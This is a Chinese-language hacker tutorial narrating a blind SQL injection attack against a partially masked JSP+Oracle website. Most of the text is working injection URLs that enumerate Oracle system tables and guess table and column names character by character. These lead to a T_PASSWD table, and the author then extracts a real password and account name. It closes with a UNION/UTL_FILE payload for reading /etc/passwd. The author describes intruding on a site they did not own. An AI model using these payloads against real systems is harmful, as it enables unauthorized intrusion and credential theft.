JSP+Oracle SQL Injection之旅
SQL Injection可謂是長(zhǎng)盛不衰的話題了,從ASP+MSSQL到PHP+MYSQL,一路走來也可謂是一路艱辛,同時(shí)也造就了這個(gè)技術(shù)領(lǐng)域內(nèi)高手如云:Pskey、小勇、isno等人成為一代偶像人物。其實(shí)只要我們靈活利用SQL語句,說不定就會(huì)給自己帶來意外的收獲,自己也能過過高手癮呢!本文是寫給菜鳥看的,高手們別砍我哦!誰叫我也是菜鳥一只呢!現(xiàn)在很多大型網(wǎng)站,像銀行、政府網(wǎng)站一般采用的是JSP+Oracle,從WEB程序來看,普遍存在的問題還是很嚴(yán)重的,希望廣大的程序員管理人員注意這方面的安全隱患。
今天我們的目標(biāo)也是JSP+Oracle的網(wǎng)站,對(duì)它進(jìn)行SQL Injection的測(cè)試,希望達(dá)到引伸、開拓這種技術(shù)的目的。日標(biāo)站點(diǎn):http://www.****jp.cn /viewBulletin.do?type=C&bulletin_id=200404010797。如圖1所示。
圖1
首先我們看看Oracle的系統(tǒng)數(shù)據(jù)庫(kù):
all_tables 存放當(dāng)前ID和其他用戶的所有表。
user_tables 存放當(dāng)前用戶所有表。
user_tab_columns 存放當(dāng)前用戶表的所有列。
這些東西是后面操作的基礎(chǔ),是非常重要的。下面就看具體的操作過程了。首先需要看一下系統(tǒng)表是否存在,一般都是存在的,沒有就沒得玩了,只能回家抱孩子了。提交URL:http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from all_tables) and '1'='1
這里是想看一下有沒有“all_tables”這個(gè)系統(tǒng)表,將“and”后的結(jié)果和0比較,如果后面為真,這整個(gè)語句都為真,并能正常返回頁面,反之就不能正常返回了。
下面的判斷也是這個(gè)道理,相信大家都明白,我就不多說了。再依次提交:
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tables) and '1'='1
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns) AND '1'='1
返回如下結(jié)果,如圖2所示。
圖2
都正確返回,說明存在猜測(cè)的系統(tǒng)表。下面看我們?cè)趺床滤钠渌砻ㄗ⒁猓篛racle里的表名、列名都是要大寫的,要注意輸寫,還有下面用的到Length()、Substr()等函數(shù)的說明,請(qǐng)查看相關(guān)資料)。
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tables where substr(table_name,1,1)='P') and '1'='1
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tables where substr(table_name,1,2)='PL') and '1'='1
第二個(gè)字母為L(zhǎng),大家也可能用Ascii()來試試。得到一個(gè)表名,第一個(gè)字符為P,第二個(gè)字符為L(zhǎng)。汗!一個(gè)一個(gè)的試,到后來才發(fā)現(xiàn)這里的步驟真是多余的……
我們?cè)賮砜纯催@個(gè)表的長(zhǎng)度,確定一下范圍才好猜,不然不知道要猜到什么時(shí)候才能結(jié)束:
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tables where length(table_name)>8 and table_name like'%25PL%25') and '1'='1
沒有正確返回。看來不會(huì)大于8了,那我們?cè)囋嚨扔?吧:
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tables where length(table_name)=8 and table_name like'%25PL%25') and '1'='1
Yeah!正常返回,我們確定表名長(zhǎng)度是8了。大家如果自己在猜測(cè)的時(shí)候,也可以用< >等來縮小范圍。下面我們繼續(xù)用上面的語句來猜測(cè)表名,最后得出的表名為PLAN_TAB。
TIPS:這里可以用Like來猜表,比如:看看有沒有什么ADMIN,USERS表什么的。
and 0<>(select count(*) from user_tables where table_name like '%25ADMIN%25') and '1'='1
and 0<>(select count(*) from user_tables where table_name like '%25USERS%25') and '1'='1
表名猜出來了,我們來檢測(cè)一下:
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tables where table_name='PLAN_TAB') and '1'='1
正常返回。我們辛苦總算沒有白費(fèi),不過煙倒是犧牲了不少,不過革命尚未成功,同志仍需努力!繼續(xù)猜列名:
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where table_name='PLAN_TAB' and column_name like '%25PASS%25') and '1'='1
試試有沒有PASS(一些很容易想到的我都試了)這個(gè)字段,結(jié)果很失望,什么都沒有。那有什么辦法將它猜出來呢?看下面的方法。
看來這個(gè)表里沒有什么敏感列名了,有點(diǎn)泄氣。再去翻翻Oracle的書,突然想到可以直接查列名,汗!可能是以前學(xué)MSSQL、MYSQL的時(shí)候形成固定思維了,忘了Oracle是不一樣的。那我們干脆來直接的
看看有沒有敏感列名吧!.
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where column_name like '%25PASS%25') and '1'='1
直接來猜看看有沒有PASS,和NAME這樣的列名。經(jīng)測(cè)試有LIKE ID/NAME/PASSWD這三個(gè)列名,但它們有可能不在同一個(gè)表里,那我就拿LIKE PASS這個(gè)來測(cè)試。先來看看有PASSWD這個(gè)列名對(duì)應(yīng)的表名的長(zhǎng)度:
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where column_name like '%25PASS%25' and length(table_name)=8) and '1'='1
得到有NAME這個(gè)字段對(duì)應(yīng)的表的長(zhǎng)度是8,繼續(xù)猜到對(duì)應(yīng)的表名:
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where column_name like '%25PASS%25' and substr(table_name,1,1)='T') and '1'='1
它們會(huì)不會(huì)在同一個(gè)表里呢?看完下面就知道了。得到PASS對(duì)應(yīng)表名第一個(gè)字符為T:
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where column_name like '%25PASS%25' and substr(table_name,1,8)='T_PASSWD') and '1'='1
一個(gè)字符一個(gè)字符來猜,方法跟上面猜表的過程一樣,只是前面多了一個(gè)條件“column_name like '%25PASS%25'”。最后得到這個(gè)表名為:T_PASSWD,接下來當(dāng)然得把Like ID/NMAE/ PASSWD的列名猜完整:
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where table_name='T_PASSWD' and substr(column_name,-2,2)='ID') and '1'='1
可以確定ID兩個(gè)字符在最后面兩個(gè),大家可以改變Sbustr()里的值,慢慢縮小范圍:
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) fromuser_tab_columns where table_name='T_PASSWD' and substr(column_name,1,1)='S') and '1'='1
得到第一個(gè)字符為S。
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where table_name='T_PASSWD' and substr(column_name,1,2)='ST') and '1'='1
第二個(gè)字符為T。
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where table_name='T_PASSWD' and substr(column_name,1,3)='STA') and '1'='1
第三個(gè)為A……直到第八個(gè)字符。
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where table_name='T_PASSWD' and substr(column_name,1,8)=' STAFF_ID ') and '1'='1從這里就可以看出完全是同一個(gè)表了。其實(shí)遇到這么多次程序,還沒見過是分開建的表呢。最后得出表名是:T_PASSWD,列名有四個(gè),分別是 STAFF_ID、STS、PASSWORD、LAST_DATE,后來證實(shí)這些猜解都是正確的(進(jìn)了服務(wù)器就什么都看到咯,如圖3所示)。
圖3
以上的過程是很枯燥的,死了不少腦細(xì)胞,覺得和猜Access一樣。要是Oracle有像MSSQL月月秒年個(gè)直接暴庫(kù)、表的方法就好了。呵呵,接下來的事,當(dāng)然是要搞個(gè)用戶名和密碼了。Come on!看看最小的STAFF_ID的值是多少:
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797' and 1=(select min(STAFF_ID) from T_PASSWD) and '1'='1
返回正常。呵呵,不要客氣它就是我們的目標(biāo),把它的Password搞出來先。好戲就要上演了,真還想看看《黑客帝國(guó)》里的動(dòng)畫:
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797' and 0<>(select conut(*) from T_PASSWD where substr(PASSWORD,1,1)=’1’ and STAFF_ID=1) and '1'='1
當(dāng)然大家也可以用Ascii()函數(shù)來猜,關(guān)于這方面很都前輩都說過了,這里就不再做說明,不然編輯說我騙稿費(fèi)了,呵呵。猜不到10分鐘就出來了密碼:“19791108”,好像是生日喲。有密碼了,沒用戶還不行,接下來的事就簡(jiǎn)單多了:
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797' and 0<>(select conut(*) from T_PASSWD where substr(STS,1,1)=’1’ and STAFF_ID=’T’) and '1'='1
一步一步來。步驟和上面的沒多大差別,先看看長(zhǎng)度,再一個(gè)個(gè)來猜。這個(gè)在猜的時(shí)候用的時(shí)間就長(zhǎng)了一點(diǎn),花了我25分鐘最后得到帳戶是:“TANGBIN”,注入過程正式結(jié)束!
最后補(bǔ)充幾點(diǎn):如果開放Public組的UTL_FILE則有可能讀取服務(wù)器上的文件,如果設(shè)置錯(cuò)誤,可以得到任何文件,如:讀出/etc/passwd 文件,不過它要和Union聯(lián)合使用,如:union select 'hoge','../../../../../etc/passwd','1','1','1' from SOMETABLE--。關(guān)于Union查詢,黑防七期上angel的PHP注入文章里已經(jīng)介紹得比較詳細(xì):前面的語句要構(gòu)造假的條件,才能返回后面的查詢。當(dāng)然,你也可以嘗試Update、 Insert、跨庫(kù)等,如果你想知道答案的話,自己來吧!相信黑防近期就會(huì)出這樣的文章了。當(dāng)然如果你有什么好的辦法或者資料,記得給我一份喲。